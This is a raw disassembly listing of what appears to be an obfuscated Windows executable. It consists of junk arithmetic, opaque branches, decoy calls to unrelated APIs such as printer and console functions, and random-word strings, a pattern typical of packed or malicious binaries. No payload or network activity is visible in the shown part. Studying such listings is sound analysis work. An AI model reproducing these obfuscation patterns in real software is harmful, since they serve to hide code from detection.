mov dword [rsp + 0x4060], eax
cmp dword [rsp + 0x4060], 0xffffd6fd
je 0x14000f39c
jmp 0x14017490a
movzx eax, word [rsp + 0xea0]
mov rcx, qword [rsp + 0xa448]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa400]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0xa380]
movzx edx, word [rdx]
or ecx, edx
cmp eax, ecx
je 0x14000f436
mov eax, dword [rsp + 0x3ffc]
movzx ecx, al
mov eax, dword [rsp + 0x4018]
shr eax, cl
mov dword [rsp + 0x3fac], eax
mov rcx, qword [rsp + 0xa480]
call sub.WINSPOOL.DRV_AbortPrinter
mov dword [rsp + 0x403c], eax
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3fac]
shl eax, cl
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b0]
mov eax, dword [rax]
mov ecx, dword [0x14019d790]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14d]
sub eax, ecx
mov byte [rsp + 0x14c], al
movsx eax, word [rsp + 0xd48]
movsx ecx, word [rsp + 0xc48]
sub eax, ecx
mov word [rsp + 0xeac], ax
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa448]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
movzx eax, word [rsp + 0xea4]
movzx ecx, word [rsp + 0xea0]
sub eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
movsx eax, byte [rsp + 0x14b]
movsx ecx, byte [rsp + 0x14d]
add eax, ecx
mov byte [0x140199008], al
mov eax, dword [rsp + 0x400c]
mov ecx, dword [rsp + 0x4000]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xa3b8]
mov rcx, qword [rsp + 0xa3c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f98], eax
mov eax, dword [rsp + 0x3ffc]
mov ecx, dword [rsp + 0x3fac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa358]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4000]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea8]
sar eax, cl
mov word [rsp + 0xea4], ax
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14d]
shl eax, cl
mov byte [rsp + 0x14c], al
mov eax, dword [rsp + 0x4000]
mov ecx, dword [rsp + 0x400c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xa368]
mov ecx, dword [rsp + 0x4018]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa428]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b0]
mov ecx, dword [rsp + 0x3fc0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b8]
mov rcx, qword [rsp + 0xa460]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fc0], eax
movzx eax, word [rsp + 0xea4]
movzx ecx, word [rsp + 0xea8]
add eax, ecx
mov word [rsp + 0xea0], ax
mov eax, dword [rsp + 0x3fac]
mov ecx, dword [rsp + 0x3ffc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4018], eax
mov eax, dword [rsp + 0x4010]
sub eax, 0x63
mov dword [rsp + 0x4010], eax
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14d]
sub eax, ecx
mov byte [rsp + 0x14b], al
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc48]
sub eax, ecx
mov rcx, qword [rsp + 0xa440]
mov word [rcx], ax
cmp dword [rsp + 0x4010], 0x5e99
ja 0x14000f436
mov rax, qword [rsp + 0xa368]
mov rcx, qword [rsp + 0xa3a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa428]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x3ffc]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x14000f742
movsx eax, word [rsp + 0xc48]
mov rcx, qword [rsp + 0xa440]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0xd48]
mov dword [rsp + 0x4064], ecx
movsx edx, word [rsp + 0xeac]
movzx ecx, dl
mov edx, dword [rsp + 0x4064]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x14000f731
mov rax, qword [rsp + 0xa460]
mov eax, dword [rax]
mov dword [rsp + 0x4068], eax
cmp dword [rsp + 0x4068], 0x1b63820
je 0x14000f715
cmp dword [rsp + 0x4068], 0x7656f213
je 0x14000f704
jmp 0x14000f72f
lea rcx, [rsp + 0xa3b8]
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
nop
jmp 0x14000f72f
mov eax, dword [rsp + 0x3fac]
movzx ecx, al
mov eax, dword [rsp + 0x4058]
shr eax, cl
mov dword [rsp + 0x4018], eax
jmp 0x14000f742
mov rax, qword [rsp + 0xa350]
movzx ecx, word [rax]
call fcn.1401751a0
nop
movzx eax, byte [rsp + 0x14d]
mov byte [rsp + 0x406c], al
cmp byte [rsp + 0x406c], 0
je 0x14000f7b9
cmp byte [rsp + 0x406c], 0xb
je 0x14000f76a
jmp 0x140174876
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4000]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xa3f8], rax
mov rax, qword [rsp + 0xa360]
mov rcx, qword [rsp + 0xa460]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x400c], eax
jmp 0x140174876
mov eax, dword [rsp + 0x4058]
mov dword [rsp + 0x4070], eax
mov byte [rsp + 0x14e], 0x9d
movzx eax, word [rsp + 0xea4]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa448]
mov word [rcx], ax
cmp dword [rsp + 0x3ff0], 0x4c80
je 0x14000fa94
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fc0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b8]
mov ecx, dword [rsp + 0x3fdc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14d]
and eax, ecx
mov byte [0x140199008], al
mov eax, dword [0x14019d790]
mov ecx, dword [rsp + 0x3fdc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4000]
mov ecx, dword [rsp + 0x400c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f98], eax
movsx eax, byte [rsp + 0x14d]
movsx ecx, byte [rsp + 0x14a]
shl eax, cl
mov byte [rsp + 0x14c], al
movsx eax, word [rsp + 0xeac]
mov rcx, qword [rsp + 0xa440]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc48], ax
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea8]
sub eax, ecx
mov rcx, qword [rsp + 0xa380]
mov word [rcx], ax
movzx eax, byte [rsp + 0x14e]
add eax, 0x86
mov byte [rsp + 0x14e], al
mov eax, dword [rsp + 0x4070]
mov ecx, dword [rsp + 0x4058]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa428]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x400c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x14b]
movsx ecx, byte [rsp + 0x14c]
add eax, ecx
mov byte [0x140199008], al
movsx eax, word [rsp + 0xd48]
movsx ecx, word [rsp + 0xeac]
sub eax, ecx
mov rcx, qword [rsp + 0xa440]
mov word [rcx], ax
mov eax, dword [rsp + 0x4018]
mov ecx, dword [rsp + 0x3fac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ffc], eax
mov eax, dword [rsp + 0x3fc0]
mov ecx, dword [0x14019bee8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
mov rax, qword [rsp + 0xa3b8]
mov rcx, qword [rsp + 0xa3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4000], eax
mov rax, qword [rsp + 0xa368]
mov rcx, qword [rsp + 0xa358]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa428]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea0]
sub eax, ecx
mov word [rsp + 0xea8], ax
mov eax, dword [rsp + 0x3ff0]
add eax, 0xcd
mov dword [rsp + 0x3ff0], eax
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd48]
sar eax, cl
mov rcx, qword [rsp + 0xa440]
mov word [rcx], ax
mov rax, qword [rsp + 0xa3b8]
mov rcx, qword [rsp + 0xa460]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3fdc]
movzx ecx, al
mov eax, dword [rsp + 0x4000]
shl eax, cl
mov dword [0x14019d790], eax
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc48]
or eax, ecx
mov word [rsp + 0xeac], ax
movsx eax, byte [rsp + 0x14b]
movsx ecx, byte [rsp + 0x14a]
and eax, ecx
mov byte [rsp + 0x14d], al
jmp 0x14000f7ef
lea rax, [rsp + 0x14e]
mov qword [rsp + 0xa488], rax
movzx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb08], ax
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ffc], eax
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
mov dword [rsp + 0x4074], eax
cmp dword [rsp + 0x4074], 0x7a5aa236
je 0x14000fc14
cmp dword [rsp + 0x4074], 0xcb7fed9e
je 0x14000fb11
jmp 0x14000fc36
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4018]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov dword [rsp + 0x4078], eax
cmp dword [rsp + 0x4078], 0x1a0d946f
je 0x14000fb53
jmp 0x14000fbd7
mov rax, qword [rsp + 0xa460]
mov ecx, dword [rsp + 0x3fdc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x400c], eax
lea rax, [rsp + 0xea0]
mov qword [rsp + 0x20], rax
mov r9d, 0x81
lea r8, [rsp + 0x14e]
mov edx, 0xe1
mov ecx, 0x66
call qword [sym.imp.KERNEL32.dll_GetStringTypeA]
mov dword [rsp + 0x407c], eax
mov rax, qword [rsp + 0xa3b8]
mov ecx, dword [rsp + 0x3fc0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa460]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b0]
mov ecx, dword [rsp + 0x400c]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019bee8], eax
jmp 0x14000fc12
mov dword [rsp + 0x28], 0x7e
lea rax, [rsp + 0x1f688]
mov qword [rsp + 0x20], rax
lea r9, str.Aniseeds_elementarily_Open_mixture_curtly
lea r8, [rsp + 0xea4]
mov edx, 0x92
mov ecx, 0x5b
call qword [sym.imp.KERNEL32.dll_GetTimeFormatA]
mov dword [rsp + 0x4080], eax
jmp 0x14000fc36
mov r8d, dword [rsp + 0x3ffc]
mov rax, qword [rsp + 0xa3c0]
mov edx, dword [rax]
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rax]
call fcn.140176420
nop
movzx eax, byte [rsp + 0x14e]
add eax, 8
mov rcx, qword [rsp + 0xa488]
mov byte [rcx], al
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xea0], ax
mov rax, qword [rsp + 0xa3a8]
mov ecx, dword [rsp + 0x4058]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4018], eax
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0xa460]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x400c], eax
mov eax, dword [rsp + 0x4004]
add eax, 0xa6
mov dword [rsp + 0x4004], eax
mov rax, qword [rsp + 0xa460]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa3b8]
mov qword [rsp + 0xa490], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa490]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4018]
movzx ecx, al
mov eax, dword [rsp + 0x4070]
shl eax, cl
mov dword [rsp + 0x3ffc], eax
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea4]
and eax, ecx
mov word [rsp + 0xea0], ax
movzx eax, byte [rsp + 0x14e]
add eax, 0x14
mov rcx, qword [rsp + 0xa488]
mov byte [rcx], al
movsx eax, word [rsp + 0xeac]
movsx ecx, word [rsp + 0xd48]
add eax, ecx
mov rcx, qword [rsp + 0xa440]
mov word [rcx], ax
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeac]
sub eax, ecx
mov rcx, qword [rsp + 0xa440]
mov word [rcx], ax
mov rax, qword [rsp + 0xa3a8]
mov ecx, dword [rsp + 0x4070]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0xa3b0]
mov ecx, dword [rsp + 0x3fdc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x400c], eax
movzx eax, byte [rsp + 0x14e]
sub eax, 0x76
mov rcx, qword [rsp + 0xa488]
mov byte [rcx], al
movzx eax, word [rsp + 0xb08]
movzx ecx, word [rsp + 0xea4]
sub eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
mov eax, dword [0x14019bee8]
mov ecx, dword [rsp + 0x3fdc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x400c], eax
mov rax, qword [rsp + 0xa3a8]
mov rcx, qword [rsp + 0xa428]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa358]
mov dword [rcx], eax
mov eax, dword [rsp + 0x400c]
movzx ecx, al
mov eax, dword [rsp + 0x3f98]
shl eax, cl
mov dword [rsp + 0x3fc0], eax
mov eax, dword [rsp + 0x3f98]
mov rcx, qword [rsp + 0xa360]
mov qword [rsp + 0xa498], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa498]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3fdc], eax
cmp dword [rsp + 0x4004], 0xe641
jb 0x14000fc36
mov eax, dword [rsp + 0x400c]
mov ecx, dword [rsp + 0x3fdc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa460]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x4000]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x140010017
movzx eax, byte [rsp + 0x14e]
and eax, 0xdb
mov rcx, qword [rsp + 0xa488]
movzx ecx, byte [rcx]
cmp eax, ecx
jne 0x14000ffcb
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14b]
sub eax, ecx
mov byte [0x140199008], al
movzx eax, byte [0x140199008]
mov byte [rsp + 0x4084], al
cmp byte [rsp + 0x4084], 0xc
je 0x14000feeb
jmp 0x14000ff99
mov eax, dword [rsp + 0x4018]
mov ecx, dword [rsp + 0x3fac]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x4058]
mov edx, dword [rsp + 0x4070]
add edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14000ff3f
lea r9, [rsp + 0x1f6a0]
mov r8d, 0xd3
lea rdx, [rsp + 0x14b]
mov rcx, qword [rsp + 0xa348]
call sub.WINSPOOL.DRV_ReadPrinter
mov dword [rsp + 0x407c], eax
jmp 0x14000ff7b
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
imul eax, eax, 0xd3
movzx ecx, byte [rsp + 0x14e]
cmp eax, ecx
jge 0x14000ff7b
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14e]
and eax, ecx
mov rcx, qword [rsp + 0xa488]
mov byte [rcx], al
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4058]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ffc], eax
jmp 0x14000ffc9
movzx r9d, word [rsp + 0xea0]
mov rax, qword [rsp + 0xa448]
movzx r8d, word [rax]
mov rax, qword [rsp + 0xa400]
movzx edx, word [rax]
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rax]
call fcn.1401769a0
nop
jmp 0x140010017
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc48]
sub eax, ecx
movsx ecx, word [rsp + 0xd48]
movsx edx, word [rsp + 0xeac]
sub ecx, edx
cmp eax, ecx
jg 0x140010017
mov r8d, 1
lea rdx, str.C:BirchesInterventionismSaddlebagsPerpendicularPositiveness
lea rcx, str.C:FunnyAlligators
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [rsp + 0x3fe0], eax
mov eax, dword [rsp + 0x3fc0]
mov dword [rsp + 0x4088], eax
mov eax, dword [rsp + 0x3f98]
mov ecx, dword [rsp + 0x3fdc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4088], eax
mov dword [rsp + 0x408c], 0x908d
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
mov dword [rsp + 0x4090], eax
cmp dword [rsp + 0x4090], 0
je 0x14001006a
jmp 0x140010248
mov rax, qword [rsp + 0xa360]
mov rcx, qword [rsp + 0xa460]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
lea rax, [rsp + 0x4088]
mov qword [rsp + 0xa4a0], rax
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
mov dword [rsp + 0x4094], eax
cmp dword [rsp + 0x4094], 0xffffd6fd
je 0x14001015a
cmp dword [rsp + 0x4094], 0x7cfb
je 0x1400100cf
jmp 0x140010246
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc48]
or eax, ecx
mov word [rsp + 0xd48], ax
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
mov byte [rsp + 0x4098], al
cmp byte [rsp + 0x4098], 0xaa
je 0x140010114
cmp byte [rsp + 0x4098], 0xf5
je 0x140010135
jmp 0x140010155
mov r8d, dword [rsp + 0x4058]
mov rax, qword [rsp + 0xa3c0]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x3fc0]
call fcn.140176420
nop
jmp 0x140010155
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc48]
xor eax, ecx
mov rcx, qword [rsp + 0xa440]
mov word [rcx], ax
jmp 0x140010246
lea rax, [rsp + 0x14a]
mov qword [0x14019d798], rax
movzx eax, byte [rsp + 0x14c]
mov byte [rsp + 0x409c], al
cmp byte [rsp + 0x409c], 0
je 0x140010191
cmp byte [rsp + 0x409c], 0x37
je 0x1400101d2
jmp 0x140010246
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb08]
shl eax, cl
mov rcx, qword [rsp + 0xa400]
mov word [rcx], ax
movzx eax, byte [rsp + 0x14e]
mov byte [rsp + 0x14f], al
lea rax, [rsp + 0x4070]
mov qword [rsp + 0xa4a8], rax
jmp 0x140010246
mov edx, 0xc3
mov rcx, qword [rsp + 0xa390]
call qword [sym.imp.KERNEL32.dll_GetConsoleFontSize]
mov dword [rsp + 0x40a0], eax
mov eax, dword [rsp + 0x40a0]
mov dword [rsp + 0x40a4], eax
mov eax, dword [rsp + 0x4058]
mov rcx, qword [rsp + 0xa428]
mov qword [rsp + 0xa4b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa4b0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4018], eax
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14f]
and eax, ecx
mov rcx, qword [rsp + 0xa488]
mov byte [rcx], al
jmp 0x1400102ab
movzx eax, word [rsp + 0xea0]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xea8], ax
mov eax, dword [rsp + 0x4000]
mov ecx, dword [rsp + 0x400c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
lea r9, [rsp + 0xa460]
mov r8d, 0x5d
lea rdx, [rsp + 0x14b]
mov rcx, qword [rsp + 0xa470]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x40a8], eax
mov rax, qword [rsp + 0xa4a8]
mov ecx, dword [rsp + 0x3ffc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4018], eax
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov dword [rsp + 0x40ac], eax
cmp dword [rsp + 0x40ac], 0
je 0x1400102e5
jmp 0x14017476c
mov rax, qword [rsp + 0xa460]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa360]
mov qword [rsp + 0xa4b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa4b8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x14d]
mov byte [rsp + 0x150], al
movzx eax, word [rsp + 0xea0]
movzx ecx, word [rsp + 0xb08]
or eax, ecx
movzx ecx, word [rsp + 0xea8]
mov rdx, qword [rsp + 0xa400]
movzx edx, word [rdx]
xor ecx, edx
cmp eax, ecx
je 0x1400103f9
mov rax, qword [rsp + 0xa368]
mov eax, dword [rax]
mov dword [rsp + 0x40b0], eax
cmp dword [rsp + 0x40b0], 0xaf9179a
je 0x140010376
jmp 0x1400103df
movsx eax, word [rsp + 0xc48]
movsx ecx, word [rsp + 0xeac]
add eax, ecx
movsx ecx, word [rsp + 0xd48]
mov rdx, qword [rsp + 0xa440]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jge 0x1400103c3
mov rcx, qword [rsp + 0xa4c0]
call sub.WINSPOOL.DRV_AbortPrinter
mov dword [rsp + 0x3fcc], eax
movzx ecx, word [rsp + 0xea4]
call fcn.1401751a0
nop
movsx eax, word [rsp + 0xd48]
movsx ecx, word [rsp + 0xc48]
sub eax, ecx
mov word [rsp + 0xeac], ax
jmp 0x1400103f4
mov rcx, qword [rsp + 0xa470]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov dword [rsp + 0x3f8c], eax
jmp 0x1400104c0
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
mov byte [rsp + 0x151], al
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
mov byte [rsp + 0x40b4], al
cmp byte [rsp + 0x40b4], 0x2b
je 0x14001042c
jmp 0x1400104af
movsx eax, word [rsp + 0xeac]
mov dword [rsp + 0x40b8], eax
cmp dword [rsp + 0x40b8], 0x3f53
je 0x14001044a
jmp 0x1400104ad
movsx eax, byte [rsp + 0x14b]
movsx ecx, byte [rsp + 0x14a]
add eax, ecx
mov rcx, qword [0x14019d798]
mov byte [rcx], al
mov rax, qword [rsp + 0xa428]
mov rcx, qword [rsp + 0xa3a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3fac], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xa348], rax
mov rax, qword [rsp + 0xa3b8]
mov rcx, qword [rsp + 0xa3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fc0], eax
jmp 0x1400104c0
mov rax, qword [rsp + 0xa350]
movzx ecx, word [rax]
call fcn.1401751a0
nop
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fc0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4a0]
mov dword [rcx], eax
lea rax, [rsp + 0x4070]
mov qword [rsp + 0xa4c8], rax
mov rax, qword [rsp + 0xa3b8]
mov rcx, qword [rsp + 0xa360]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa460]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x151]
shl eax, cl
mov byte [rsp + 0x14e], al
lea rax, [rsp + 0xb08]
mov qword [rsp + 0xa4d0], rax
mov rax, qword [rsp + 0xa3b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fdc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fc0], eax
movsx eax, word [rsp + 0xc48]
mov dword [rsp + 0x40bc], eax
cmp dword [rsp + 0x40bc], 0xffffd6fd
je 0x140010585
cmp dword [rsp + 0x40bc], 0xf81
je 0x1400105f7
jmp 0x1400106c7
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd48]
sar eax, cl
mov word [0x14019beec], ax
mov dword [rsp + 0x40c0], 0xedac
lea rax, [rsp + 0x4018]
mov qword [rsp + 0xa4d8], rax
mov dword [rsp + 0x40c4], 0x38e4
mov rax, qword [rsp + 0xa4a0]
mov rcx, qword [rsp + 0xa360]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
mov dword [rsp + 0x40c8], 0xc6fa
jmp 0x1400106c7
mov rax, qword [rsp + 0xa4a0]
mov rcx, qword [rsp + 0xa360]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
lea rax, [rsp + 0xa3f8]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x40a4]
mov r8d, 0x4f
mov rdx, qword [rsp + 0xa4e0]
mov rcx, qword [rsp + 0xa390]
call qword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov dword [rsp + 0x40cc], eax
movzx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xa488]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x14f], al
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeac]
and eax, ecx
movsx ecx, word [rsp + 0xc48]
movsx edx, word [rsp + 0xd48]
sub ecx, edx
cmp eax, ecx
jl 0x1400106b6
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea8]
sub eax, ecx
mov rcx, qword [rsp + 0xa380]
mov word [rcx], ax
mov rax, qword [rsp + 0xa380]
movzx ecx, word [rax]
call fcn.1401751a0
nop
mov dword [rsp + 0x40d0], 0x12c5c
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14d]
sub eax, ecx
mov byte [rsp + 0x150], al
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
mov byte [rsp + 0x40d4], al
cmp byte [rsp + 0x40d4], 0
je 0x14001070c
jmp 0x140010819
movzx eax, word [rsp + 0xeac]
mov word [rsp + 0xeb0], ax
mov rax, qword [rsp + 0xa4a8]
mov rcx, qword [rsp + 0xa3a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa358]
mov dword [rcx], eax
movsx eax, word [rsp + 0xeac]
mov dword [rsp + 0x40d8], eax
cmp dword [rsp + 0x40d8], 0x27ac
je 0x14001076a
cmp dword [rsp + 0x40d8], 0x28d0
je 0x14001078b
jmp 0x140010814
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0xa3b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019d790], eax
jmp 0x140010814
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
mov dword [rsp + 0x40dc], eax
cmp dword [rsp + 0x40dc], 0x28a6
je 0x1400107f8
